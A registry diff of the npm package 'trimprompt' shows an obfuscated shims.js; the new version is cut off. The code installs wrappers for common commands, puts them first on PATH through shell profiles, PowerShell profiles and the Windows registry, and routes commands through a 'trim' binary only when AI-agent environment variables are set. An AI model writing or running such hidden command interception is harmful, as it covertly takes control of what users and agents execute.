trimprompt 1.0.34 → 1.0.36

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/shims.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x2982(_0x23d98d,_0x25985b){_0x23d98d=_0x23d98d-0x105;const _0x4621be=a0_0x4621();let _0x2982f6=_0x4621be[_0x23d98d];return _0x2982f6;}const a0_0x4b2bba=a0_0x2982;function a0_0x4621(){const _0x5ac55b=['get','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','.trimprompt','1474gTyNPh',':||g\x22);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','1081156XRreRK','create','execSync','7894350HFyRcS',';=%\x22','\x20@args\x20}\x0a}\x20else\x20{\x0a\x20\x20&\x20','shims','readFileSync','#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','2SCvNZW','getOwnPropertyDescriptor','hasOwnProperty','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','split','\x20commands.\x0a\x0a[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20',':$PATH\x22','export\x20PATH=\x22','.bashrc','================================================================================','trim.cmd','\x20\x22$@\x22;\x20fi\x0a',':||g\x22)\x0a\x20\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','__esModule','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','unlinkSync','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','cargo','.zshrc','Remove-ItemProperty\x20-Path\x20\x27','writeFileSync','execFileSync','\x27,\x20\x27User\x27)','2367198aFIafR','.cmd','pipe','\x20%*','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','message','homedir','kubectl','5677qBcuYc','if\x20exist\x20\x22','284CygXnc','8zzOpXM','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22','\x20&\x20','child_process','git','includes','__setModuleDefault','tree',';\x22\x20+\x20$env:PATH\x0a','\x20@args\x20}\x20else\x20{\x20&\x20','trim.ps1','filter','ruff','yarn','77172gTLBbj','uninstallShims','find','pytest','423255wfWapm','platform','push','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','powershell.exe','powershell\x20-NoProfile\x20-Command\x20\x22','-NoProfile','npx','pip','-Command','ignore','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x27s|[^:]*\x5c.trimprompt/shims:||g\x27);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','755','\x20\x20set\x20\x22PATH=%PATH:','prototype','Failed\x20to\x20install\x20shims:\x20','call','npm','utf8','\x20\x20trim\x20','docker','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','\x20\x20\x20\x20\x20\x20for\x20the\x20installation\x20to\x20take\x20effect.','configurable','powershell','replace','\x20-NoProfile\x20-Command\x20\x22','getOwnPropertyNames','default','win32','\x0a$env:PATH\x20=\x20\x22','\x0a#\x20','rmdirSync','__createBinding','7446spHZnk','trim','__importStar','.bash_profile','44115SjctLN','\x20\x22$@\x22;\x20fi\x0aelse\x0a\x20\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|','map','$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);','length','\x20\x20\x20\x20\x20\x20[IMPORTANT]\x20TrimPrompt\x20successfully\x20installed!','Set-ItemProperty\x20-Path\x20\x27','defineProperty','TrimPrompt\x20successfully\x20installed\x20for\x20','\x22\x20(','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|','.profile','existsSync','\x20\x20exit\x20/b\x20%ERRORLEVEL%','@echo\x20off','join','writable','toLowerCase','dirname','grep',':$PATH\x22\x0a','mkdirSync','if\x20\x22%AI_AGENT%\x22==\x22\x22\x20if\x20\x22%CURSOR_AGENT%\x22==\x22\x22\x20if\x20\x22%CLAUDECODE%\x22==\x22\x22\x20if\x20\x22%CLAUDE_CODE%\x22==\x22\x22\x20if\x20\x22%ANTIGRAVITY_AGENT%\x22==\x22\x22\x20if\x20\x22%GEMINI_CLI%\x22==\x22\x22\x20if\x20\x22%TRIMPROMPT_ACTIVE%\x22==\x22\x22\x20(',')\x20else\x20(','installShims'];a0_0x4621=function(){return _0x5ac55b;};return a0_0x4621();}(function(_0x3d5a5c,_0x221b43){const _0x427d94=a0_0x2982,_0x14c229=_0x3d5a5c();while(!![]){try{const _0x3de467=parseInt(_0x427d94(0x11c))/0x1*(-parseInt(_0x427d94(0x125))/0x2)+-parseInt(_0x427d94(0x17f))/0x3*(-parseInt(_0x427d94(0x146))/0x4)+parseInt(_0x427d94(0x159))/0x5+parseInt(_0x427d94(0x17b))/0x6*(parseInt(_0x427d94(0x144))/0x7)+parseInt(_0x427d94(0x147))/0x8*(-parseInt(_0x427d94(0x13c))/0x9)+parseInt(_0x427d94(0x11f))/0xa+-parseInt(_0x427d94(0x11a))/0xb*(parseInt(_0x427d94(0x155))/0xc);if(_0x3de467===_0x221b43)break;else _0x14c229['push'](_0x14c229['shift']());}catch(_0x1c4d10){_0x14c229['push'](_0x14c229['shift']());}}}(a0_0x4621,0xaf744));var __createBinding=this&&this[a0_0x4b2bba(0x17a)]||(Object[a0_0x4b2bba(0x11d)]?function(_0x549e62,_0x29a38a,_0x5da463,_0x521780){const _0x3d8911=a0_0x4b2bba;if(_0x521780===undefined)_0x521780=_0x5da463;var _0x1965ec=Object[_0x3d8911(0x126)](_0x29a38a,_0x5da463);(!_0x1965ec||(_0x3d8911(0x117)in _0x1965ec?!_0x29a38a[_0x3d8911(0x132)]:_0x1965ec[_0x3d8911(0x10e)]||_0x1965ec[_0x3d8911(0x170)]))&&(_0x1965ec={'enumerable':!![],'get':function(){return _0x29a38a[_0x5da463];}}),Object['defineProperty'](_0x549e62,_0x521780,_0x1965ec);}:function(_0x3e4488,_0x306a8d,_0xd427d3,_0xad986f){if(_0xad986f===undefined)_0xad986f=_0xd427d3;_0x3e4488[_0xad986f]=_0x306a8d[_0xd427d3];}),__setModuleDefault=this&&this[a0_0x4b2bba(0x14d)]||(Object['create']?function(_0x40e312,_0x2d7fb9){const _0x1de8ee=a0_0x4b2bba;Object[_0x1de8ee(0x105)](_0x40e312,_0x1de8ee(0x175),{'enumerable':!![],'value':_0x2d7fb9});}:function(_0x16ff3a,_0x5e351a){_0x16ff3a['default']=_0x5e351a;}),__importStar=this&&this[a0_0x4b2bba(0x17d)]||(function(){var _0x1c3147=function(_0x525776){const _0x462f08=a0_0x2982;return _0x1c3147=Object[_0x462f08(0x174)]||function(_0x459575){const _0x1a7240=_0x462f08;var _0x4a2ef6=[];for(var _0x763b82 in _0x459575)if(Object[_0x1a7240(0x167)][_0x1a7240(0x127)][_0x1a7240(0x169)](_0x459575,_0x763b82))_0x4a2ef6[_0x4a2ef6['length']]=_0x763b82;return _0x4a2ef6;},_0x1c3147(_0x525776);};return function(_0x5aa7c1){const _0x594921=a0_0x2982;if(_0x5aa7c1&&_0x5aa7c1['__esModule'])return _0x5aa7c1;var _0x2b6df9={};if(_0x5aa7c1!=null){for(var _0x3f1d5a=_0x1c3147(_0x5aa7c1),_0x4224bd=0x0;_0x4224bd<_0x3f1d5a['length'];_0x4224bd++)if(_0x3f1d5a[_0x4224bd]!==_0x594921(0x175))__createBinding(_0x2b6df9,_0x5aa7c1,_0x3f1d5a[_0x4224bd]);}return __setModuleDefault(_0x2b6df9,_0x5aa7c1),_0x2b6df9;};}());Object[a0_0x4b2bba(0x105)](exports,a0_0x4b2bba(0x132),{'value':!![]}),exports[a0_0x4b2bba(0x116)]=installShims,exports[a0_0x4b2bba(0x156)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0x4b2bba(0x14e),'cat','read',a0_0x4b2bba(0x111),'rg',a0_0x4b2bba(0x153),a0_0x4b2bba(0x14b),'gh','glab',a0_0x4b2bba(0x136),a0_0x4b2bba(0x16a),'pnpm',a0_0x4b2bba(0x160),a0_0x4b2bba(0x154),a0_0x4b2bba(0x143),a0_0x4b2bba(0x16d),a0_0x4b2bba(0x158),a0_0x4b2bba(0x161),'pip3','go',a0_0x4b2bba(0x157)],PROFILE_MARKER='TrimPrompt\x20Shims\x20PATH';function getExecSync(){const _0x24dc6e=a0_0x4b2bba;return require('child_process')[_0x24dc6e(0x11e)];}function getExecFileSync(){const _0xd87ca8=a0_0x4b2bba;return require(_0xd87ca8(0x14a))[_0xd87ca8(0x13a)];}function ensureProfileContains(_0xa6ad6e,_0x460819,_0x22d00a){const _0x38d3b2=a0_0x4b2bba;try{const _0x3ed6bf=path[_0x38d3b2(0x110)](_0xa6ad6e);!fs['existsSync'](_0x3ed6bf)&&fs['mkdirSync'](_0x3ed6bf,{'recursive':!![]});if(fs[_0x38d3b2(0x10a)](_0xa6ad6e)){const _0x497280=fs[_0x38d3b2(0x123)](_0xa6ad6e,'utf8');if(_0x497280['includes'](_0x460819))return;fs['appendFileSync'](_0xa6ad6e,_0x22d00a,_0x38d3b2(0x16b));}else fs['writeFileSync'](_0xa6ad6e,_0x22d00a,_0x38d3b2(0x16b));}catch{}}function removeProfileBlock(_0x1e4809,_0xf1565a){const _0x5c0d08=a0_0x4b2bba;try{if(!fs[_0x5c0d08(0x10a)](_0x1e4809))return;const _0x802920=fs[_0x5c0d08(0x123)](_0x1e4809,_0x5c0d08(0x16b));if(!_0x802920[_0x5c0d08(0x14c)](_0xf1565a))return;const _0x1f868f=_0x802920['split']('\x0a'),_0x35c446=[];let _0x37e22f=![];for(let _0x464fbd=0x0;_0x464fbd<_0x1f868f[_0x5c0d08(0x183)];_0x464fbd++){if(_0x1f868f[_0x464fbd][_0x5c0d08(0x14c)](_0xf1565a)){_0x37e22f=!![];continue;}if(_0x37e22f){_0x37e22f=![];continue;}_0x35c446[_0x5c0d08(0x15b)](_0x1f868f[_0x464fbd]);}const _0xcd5214=_0x35c446[_0x5c0d08(0x10d)]('\x0a')[_0x5c0d08(0x172)](/\n{3,}/g,'\x0a\x0a');fs[_0x5c0d08(0x139)](_0x1e4809,_0xcd5214,_0x5c0d08(0x16b));}catch{}}function collectPowerShellProfiles(){const _0x1ad654=a0_0x4b2bba,_0x13a0e3=getExecSync(),_0x292bcc=[],_0x36523a=[[_0x1ad654(0x171),'$PROFILE.CurrentUserCurrentHost'],['powershell','$PROFILE.CurrentUserAllHosts']];try{_0x13a0e3('pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22',{'stdio':_0x1ad654(0x163)}),_0x36523a[_0x1ad654(0x15b)](['pwsh','$PROFILE.CurrentUserAllHosts']);}catch{}for(const [_0x4eeea8,_0x4968c3]of _0x36523a){try{const _0x3c8744=_0x13a0e3(_0x4eeea8+_0x1ad654(0x173)+_0x4968c3+'\x22',{'encoding':'utf8'})[_0x1ad654(0x17c)]();_0x3c8744&&!_0x292bcc['some'](_0xf109ec=>_0xf109ec['toLowerCase']()===_0x3c8744['toLowerCase']())&&_0x292bcc['push'](_0x3c8744);}catch{}}return _0x292bcc;}function getBashProfilesWindows(){const _0x2f0389=a0_0x4b2bba,_0x2ba83a=os[_0x2f0389(0x142)]();return[_0x2f0389(0x12d),_0x2f0389(0x17e)][_0x2f0389(0x181)](_0x5868a0=>path[_0x2f0389(0x10d)](_0x2ba83a,_0x5868a0));}function getBroadcastCommand(){const _0x2bf333=a0_0x4b2bba;return _0x2bf333(0x182);}function installShims(){const _0x3ebdb8=a0_0x4b2bba,_0x1fdd64=path[_0x3ebdb8(0x10d)](os['homedir'](),_0x3ebdb8(0x119),_0x3ebdb8(0x122));try{!fs[_0x3ebdb8(0x10a)](_0x1fdd64)&&fs[_0x3ebdb8(0x113)](_0x1fdd64,{'recursive':!![]});const _0xb854bb=os['platform']()==='win32';for(const _0x149f16 of SHIMMED_COMMANDS){if(_0xb854bb){const _0x40d850=path[_0x3ebdb8(0x10d)](_0x1fdd64,_0x149f16+_0x3ebdb8(0x13d)),_0x1e705f=process.env.APPDATA?path[_0x3ebdb8(0x10d)](process.env.APPDATA,_0x3ebdb8(0x16a)):'',_0x591329=_0x1e705f?path[_0x3ebdb8(0x10d)](_0x1e705f,_0x3ebdb8(0x12f)):'%~dp0..\x5c..\x5cAppData\x5cRoaming\x5cnpm\x5ctrim.cmd',_0x215042=[_0x3ebdb8(0x10c),_0x3ebdb8(0x114),_0x3ebdb8(0x166)+_0x1fdd64+';=%\x22','\x20\x20'+_0x149f16+'\x20%*',_0x3ebdb8(0x10b),')',_0x3ebdb8(0x145)+_0x591329+_0x3ebdb8(0x107),_0x3ebdb8(0x16c)+_0x149f16+_0x3ebdb8(0x13f),_0x3ebdb8(0x115),_0x3ebdb8(0x166)+_0x1fdd64+_0x3ebdb8(0x120),'\x20\x20'+_0x149f16+_0x3ebdb8(0x13f),')'][_0x3ebdb8(0x10d)]('\x0d\x0a')+'\x0d\x0a';fs[_0x3ebdb8(0x139)](_0x40d850,_0x215042,'utf8');const _0x224556=path[_0x3ebdb8(0x10d)](_0x1fdd64,_0x149f16+'.ps1'),_0x144076='if\x20($env:AI_AGENT\x20-or\x20$env:CURSOR_AGENT\x20-or\x20$env:CLAUDECODE\x20-or\x20$env:CLAUDE_CODE\x20-or\x20$env:ANTIGRAVITY_AGENT\x20-or\x20$env:GEMINI_CLI\x20-or\x20$env:TRIMPROMPT_ACTIVE)\x20{\x0a\x20\x20if\x20(Get-Command\x20trim\x20-ErrorAction\x20SilentlyContinue)\x20{\x20&\x20trim\x20'+_0x149f16+_0x3ebdb8(0x150)+_0x149f16+_0x3ebdb8(0x121)+_0x149f16+'\x20@args\x0a}\x0a';fs[_0x3ebdb8(0x139)](_0x224556,_0x144076,_0x3ebdb8(0x16b));const _0x5c1d8d=path[_0x3ebdb8(0x10d)](_0x1fdd64,_0x149f16),_0x3f3b1e=_0x1fdd64[_0x3ebdb8(0x172)](/\\/g,'/')[_0x3ebdb8(0x172)](/^([A-Za-z]):/,(_0x8ac187,_0xae0731)=>'/'+_0xae0731['toLowerCase']()),_0x3976a9='#!/bin/sh\x0aif\x20[\x20-n\x20\x22$AI_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$CURSOR_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$CLAUDECODE\x22\x20]\x20||\x20[\x20-n\x20\x22$CLAUDE_CODE\x22\x20]\x20||\x20[\x20-n\x20\x22$ANTIGRAVITY_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$GEMINI_CLI\x22\x20]\x20||\x20[\x20-n\x20\x22$TRIMPROMPT_ACTIVE\x22\x20];\x20then\x0a\x20\x20if\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20'+_0x149f16+_0x3ebdb8(0x108)+_0x3f3b1e+_0x3ebdb8(0x11b)+_0x149f16+_0x3ebdb8(0x180)+_0x3f3b1e+_0x3ebdb8(0x131)+_0x149f16+'\x20\x22$@\x22\x0afi\x0a';fs[_0x3ebdb8(0x139)](_0x5c1d8d,_0x3976a9,_0x3ebdb8(0x16b));}else{const _0xc7eb4b=path[_0x3ebdb8(0x10d)](_0x1fdd64,_0x149f16),_0x1fc0d6=_0x3ebdb8(0x124)+_0x149f16+_0x3ebdb8(0x164)+_0x149f16+_0x3ebdb8(0x130);fs['writeFileSync'](_0xc7eb4b,_0x1fc0d6,'utf8'),fs['chmodSync'](_0xc7eb4b,_0x3ebdb8(0x165));}}let _0x4d5080=![],_0x19c678='';if(_0xb854bb)try{const _0x2bbc04=getExecSync(),_0x49720c=_0x3ebdb8(0x178)+PROFILE_MARKER+_0x3ebdb8(0x177)+_0x1fdd64+_0x3ebdb8(0x14f),_0x205948=collectPowerShellProfiles();for(const _0x2d14c8 of _0x205948){ensureProfileContains(_0x2d14c8,_0x1fdd64,_0x49720c);}try{const _0x167b81=_0x1fdd64[_0x3ebdb8(0x172)](/\\/g,'/')[_0x3ebdb8(0x172)](/^([A-Za-z]):/,(_0x29070b,_0x19d78)=>'/'+_0x19d78[_0x3ebdb8(0x10f)]()),_0x40a597=_0x3ebdb8(0x178)+PROFILE_MARKER+'\x0aexport\x20PATH=\x22'+_0x167b81+':$PATH\x22\x0a',_0x297152=getBashProfilesWindows();let _0x89c161=![];for(const _0x2c1bca of _0x297152){fs[_0x3ebdb8(0x10a)](_0x2c1bca)&&(ensureProfileContains(_0x2c1bca,_0x167b81,_0x40a597),_0x89c161=!![]);}!_0x89c161&&ensureProfileContains(_0x297152[0x0],_0x167b81,_0x40a597);}catch{}const _0x30ad9d=_0x3ebdb8(0x140),_0x37a3ef=_0x2bbc04(_0x3ebdb8(0x15e)+_0x30ad9d+'\x22',{'encoding':'utf8','stdio':[_0x3ebdb8(0x13e),_0x3ebdb8(0x13e),'ignore']})[_0x3ebdb8(0x17c)]();if(!_0x37a3ef[_0x3ebdb8(0x14c)](_0x1fdd64)){const _0x10e4f9=_0x1fdd64+';'+_0x37a3ef,_0x42422a=_0x10e4f9[_0x3ebdb8(0x172)](/'/g,'\x27\x27'),_0x3ae37b=_0x3ebdb8(0x128)+_0x42422a+_0x3ebdb8(0x13b);_0x2bbc04(_0x3ebdb8(0x15e)+_0x3ae37b+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x3ebdb8(0x163)});}const _0x57b5c=path[_0x3ebdb8(0x10d)](process.env.APPDATA||'',_0x3ebdb8(0x16a),_0x3ebdb8(0x151));if(fs[_0x3ebdb8(0x10a)](_0x57b5c))try{fs[_0x3ebdb8(0x134)](_0x57b5c);}catch{}_0x4d5080=!![];}catch(_0xf4454e){_0x19c678=_0x3ebdb8(0x16e)+_0x1fdd64;}else try{const _0x23bfaf=_0x3ebdb8(0x12c)+_0x1fdd64+_0x3ebdb8(0x112),_0x2c49cb=os[_0x3ebdb8(0x142)](),_0x5cb1df=['.bashrc',_0x3ebdb8(0x137),_0x3ebdb8(0x17e),_0x3ebdb8(0x109)];let _0x264ac7=![];for(const _0x136859 of _0x5cb1df){const _0x9641b3=path['join'](_0x2c49cb,_0x136859);fs[_0x3ebdb8(0x10a)](_0x9641b3)&&(ensureProfileContains(_0x9641b3,_0x1fdd64,_0x3ebdb8(0x178)+PROFILE_MARKER+'\x0a'+_0x23bfaf),_0x264ac7=!![]);}if(!_0x264ac7){const _0x40b817=path['join'](_0x2c49cb,_0x3ebdb8(0x12d));ensureProfileContains(_0x40b817,_0x1fdd64,_0x3ebdb8(0x178)+PROFILE_MARKER+'\x0a'+_0x23bfaf);}_0x4d5080=!![];}catch(_0x2c75a6){_0x19c678=_0x3ebdb8(0x148)+_0x1fdd64+_0x3ebdb8(0x12b);}const _0x4d7992=[_0x3ebdb8(0x12e),_0x3ebdb8(0x184),_0x3ebdb8(0x12e),'\x20\x20\x20👉\x20Please\x20restart\x20your\x20terminal\x20window\x20or\x20AI\x20editor\x20(Cursor/Claude)',_0x3ebdb8(0x16f),_0x3ebdb8(0x12e)][_0x3ebdb8(0x10d)]('\x0a'),_0x2539c4=_0x4d5080?_0x4d7992:_0x3ebdb8(0x106)+SHIMMED_COMMANDS[_0x3ebdb8(0x183)]+_0x3ebdb8(0x12a)+_0x19c678;return{'success':!![],'pathDir':_0x1fdd64,'message':_0x2539c4};}catch(_0x4776aa){return{'success':![],'pathDir':_0x1fdd64,'message':_0x3ebdb8(0x168)+_0x4776aa[_0x3ebdb8(0x141)]};}}function uninstallShims(){const _0x5ba4a2=a0_0x4b2bba,_0xa7df0a=path[_0x5ba4a2(0x10d)](os[_0x5ba4a2(0x142)](),_0x5ba4a2(0x119),_0x5ba4a2(0x122)),_0xfd5ec2=os[_0x5ba4a2(0x15a)]()===_0x5ba4a2(0x176);try{if(_0xfd5ec2){const _0x55dc92=getExecSync();try{const _0x475c22=getExecFileSync(),_0x200c39='HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor',_0x5ac363='try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27'+_0x200c39+_0x5ba4a2(0x15c),_0x4b969b=_0x475c22(_0x5ba4a2(0x15d),[_0x5ba4a2(0x15f),_0x5ba4a2(0x162),_0x5ac363],{'encoding':_0x5ba4a2(0x16b),'stdio':[_0x5ba4a2(0x13e),_0x5ba4a2(0x13e),_0x5ba4a2(0x163)]})[_0x5ba4a2(0x17c)]();if(_0x4b969b[_0x5ba4a2(0x14c)](_0xa7df0a)){const _0x22a824=_0x4b969b[_0x5ba4a2(0x129)](_0x5ba4a2(0x149))[_0x5ba4a2(0x152)](_0x15f1c5=>!_0x15f1c5[_0x5ba4a2(0x14c)](_0xa7df0a));if(_0x22a824['length']===0x0){const _0x4bdb5e=_0x5ba4a2(0x138)+_0x200c39+_0x5ba4a2(0x135);_0x475c22(_0x5ba4a2(0x15d),['-NoProfile',_0x5ba4a2(0x162),_0x4bdb5e],{'stdio':'ignore'});}else{const _0x2c7255=_0x22a824[_0x5ba4a2(0x10d)](_0x5ba4a2(0x149)),_0x14a5c8=_0x5ba4a2(0x185)+_0x200c39+_0x5ba4a2(0x118)+_0x2c7255+'\x27';_0x475c22(_0x5ba4a2(0x15d),[_0x5ba4a2(0x15f),_0x5ba4a2(0x162),_0x14a5c8],{'stdio':_0x5ba4a2(0x163)});}}}catch{}try{const _0x536d0d=collectPowerShellProfiles();for(const _0x47506a of _0x536d0d){removeProfileBlock(_0x47506a,PROFILE_MARKER);}}catch{}try{for(const _0x351db3 of getBashProfilesWindows()){removeProfileBlock(_0x351db3,PROFILE_MARKER);}}catch{}try{const _0x37ab76=_0x5ba4a2(0x140),_0x1690ec=_0x55dc92(_0x5ba4a2(0x15e)+_0x37ab76+'\x22',{'encoding':_0x5ba4a2(0x16b),'stdio':[_0x5ba4a2(0x13e),_0x5ba4a2(0x13e),_0x5ba4a2(0x163)]})[_0x5ba4a2(0x17c)]();if(_0x1690ec[_0x5ba4a2(0x14c)](_0xa7df0a)){const _0x199fee=_0x1690ec[_0x5ba4a2(0x129)](';')[_0x5ba4a2(0x152)](_0x509c0a=>_0x509c0a[_0x5ba4a2(0x17c)]()['toLowerCase']()!==_0xa7df0a[_0x5ba4a2(0x10f)]())['join'](';'),_0x4e3330=_0x199fee[_0x5ba4a2(0x172)](/'/g,'\x27\x27'),_0x29c8a4=_0x5ba4a2(0x128)+_0x4e3330+_0x5ba4a2(0x13b);_0x55dc92('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x29c8a4+';\x20'+getBroadcastCommand()+'\x22',{'stdio':'ignore'});}}catch{}}else{const _0x2a9cfa=os[_0x5ba4a2(0x142)](),_0x7aa34d=['.bashrc',_0x5ba4a2(0x137),_0x5ba4a2(0x17e),_0x5ba4a2(0x109)];for(const _0x2f3e2c of _0x7aa34d){removeProfileBlock(path[_0x5ba4a2(0x10d)](_0x2a9cfa,_0x2f3e2c),PROFILE_MARKER);}}if(fs[_0x5ba4a2(0x10a)](_0xa7df0a)){const _0x109426=fs['readdirSync'](_0xa7df0a);for(const _0x37209c of _0x109426){fs['unlinkSync'](path[_0x5ba4a2(0x10d)](_0xa7df0a,_0x37209c));}fs[_0x5ba4a2(0x179)](_0xa7df0a);}return{'success':!![],'message':_0x5ba4a2(0x133)};}catch(_0x159d9f){return{'success':![],'message':'Failed\x20to\x20uninstall\x20shims:\x20'+_0x159d9f['message']};}}
1
+ 'use strict';const a0_0x5da111=a0_0x22eb;(function(_0x2247dd,_0x4bb602){const _0x222ffc=a0_0x22eb,_0x1fe335=_0x2247dd();while(!![]){try{const _0x4b8fdb=parseInt(_0x222ffc(0x1c4))/0x1+parseInt(_0x222ffc(0x1b7))/0x2*(parseInt(_0x222ffc(0x224))/0x3)+parseInt(_0x222ffc(0x1f3))/0x4+-parseInt(_0x222ffc(0x1fa))/0x5*(parseInt(_0x222ffc(0x1e4))/0x6)+-parseInt(_0x222ffc(0x1ff))/0x7+parseInt(_0x222ffc(0x1f4))/0x8+parseInt(_0x222ffc(0x21d))/0x9*(-parseInt(_0x222ffc(0x1c7))/0xa);if(_0x4b8fdb===_0x4bb602)break;else _0x1fe335['push'](_0x1fe335['shift']());}catch(_0xff0bde){_0x1fe335['push'](_0x1fe335['shift']());}}}(a0_0xe85d,0x505f6));function a0_0x22eb(_0x2ed234,_0x5c460e){_0x2ed234=_0x2ed234-0x1a7;const _0xe85df5=a0_0xe85d();let _0x22ebd6=_0xe85df5[_0x2ed234];return _0x22ebd6;}var __createBinding=this&&this['__createBinding']||(Object[a0_0x5da111(0x1b4)]?function(_0x74dd9d,_0x457a3a,_0x50c0b0,_0x3b3b3c){const _0x215fbf=a0_0x5da111;if(_0x3b3b3c===undefined)_0x3b3b3c=_0x50c0b0;var _0x171961=Object['getOwnPropertyDescriptor'](_0x457a3a,_0x50c0b0);(!_0x171961||(_0x215fbf(0x203)in _0x171961?!_0x457a3a['__esModule']:_0x171961[_0x215fbf(0x1e8)]||_0x171961[_0x215fbf(0x212)]))&&(_0x171961={'enumerable':!![],'get':function(){return _0x457a3a[_0x50c0b0];}}),Object['defineProperty'](_0x74dd9d,_0x3b3b3c,_0x171961);}:function(_0x25bc14,_0x5efa09,_0x82c7ab,_0x28c2f2){if(_0x28c2f2===undefined)_0x28c2f2=_0x82c7ab;_0x25bc14[_0x28c2f2]=_0x5efa09[_0x82c7ab];}),__setModuleDefault=this&&this[a0_0x5da111(0x218)]||(Object[a0_0x5da111(0x1b4)]?function(_0x2df19c,_0x4f70b0){const _0x5da964=a0_0x5da111;Object[_0x5da964(0x1af)](_0x2df19c,_0x5da964(0x1ca),{'enumerable':!![],'value':_0x4f70b0});}:function(_0x25640e,_0x302609){const _0x42ef37=a0_0x5da111;_0x25640e[_0x42ef37(0x1ca)]=_0x302609;}),__importStar=this&&this[a0_0x5da111(0x1e7)]||(function(){var _0xc45474=function(_0x3b75d1){const _0x3fe1e4=a0_0x22eb;return _0xc45474=Object[_0x3fe1e4(0x220)]||function(_0x318f67){const _0x5172b2=_0x3fe1e4;var _0x25821e=[];for(var _0x403f5d in _0x318f67)if(Object[_0x5172b2(0x227)][_0x5172b2(0x1db)]['call'](_0x318f67,_0x403f5d))_0x25821e[_0x25821e['length']]=_0x403f5d;return _0x25821e;},_0xc45474(_0x3b75d1);};return function(_0x201f29){const _0x324eec=a0_0x22eb;if(_0x201f29&&_0x201f29[_0x324eec(0x1f7)])return _0x201f29;var _0x325212={};if(_0x201f29!=null){for(var _0xd457f4=_0xc45474(_0x201f29),_0x1f869e=0x0;_0x1f869e<_0xd457f4[_0x324eec(0x20f)];_0x1f869e++)if(_0xd457f4[_0x1f869e]!==_0x324eec(0x1ca))__createBinding(_0x325212,_0x201f29,_0xd457f4[_0x1f869e]);}return __setModuleDefault(_0x325212,_0x201f29),_0x325212;};}());Object[a0_0x5da111(0x1af)](exports,'__esModule',{'value':!![]}),exports[a0_0x5da111(0x20c)]=installShims,exports[a0_0x5da111(0x1b9)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x5da111(0x1d0))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls','tree',a0_0x5da111(0x1ec),a0_0x5da111(0x206),a0_0x5da111(0x1fb),'rg','ruff',a0_0x5da111(0x1b8),'gh',a0_0x5da111(0x1c3),a0_0x5da111(0x1bb),'npm','pnpm',a0_0x5da111(0x1ae),a0_0x5da111(0x1c0),'kubectl',a0_0x5da111(0x1c9),a0_0x5da111(0x1b3),a0_0x5da111(0x1b6),a0_0x5da111(0x1cd),'go',a0_0x5da111(0x1fd)],PROFILE_MARKER=a0_0x5da111(0x1eb);function getExecSync(){const _0x394712=a0_0x5da111;return require(_0x394712(0x1f2))['execSync'];}function getExecFileSync(){const _0x2f1806=a0_0x5da111;return require(_0x2f1806(0x1f2))['execFileSync'];}function ensureProfileContains(_0x543799,_0x40426d,_0x54aee5){const _0x5a9072=a0_0x5da111;try{const _0x51122b=path[_0x5a9072(0x1ef)](_0x543799);!fs[_0x5a9072(0x1f5)](_0x51122b)&&fs[_0x5a9072(0x1fc)](_0x51122b,{'recursive':!![]});if(fs[_0x5a9072(0x1f5)](_0x543799)){const _0x11732a=fs[_0x5a9072(0x1f8)](_0x543799,_0x5a9072(0x21a));if(_0x11732a[_0x5a9072(0x226)](_0x40426d))return;fs[_0x5a9072(0x1bc)](_0x543799,_0x54aee5,_0x5a9072(0x21a));}else 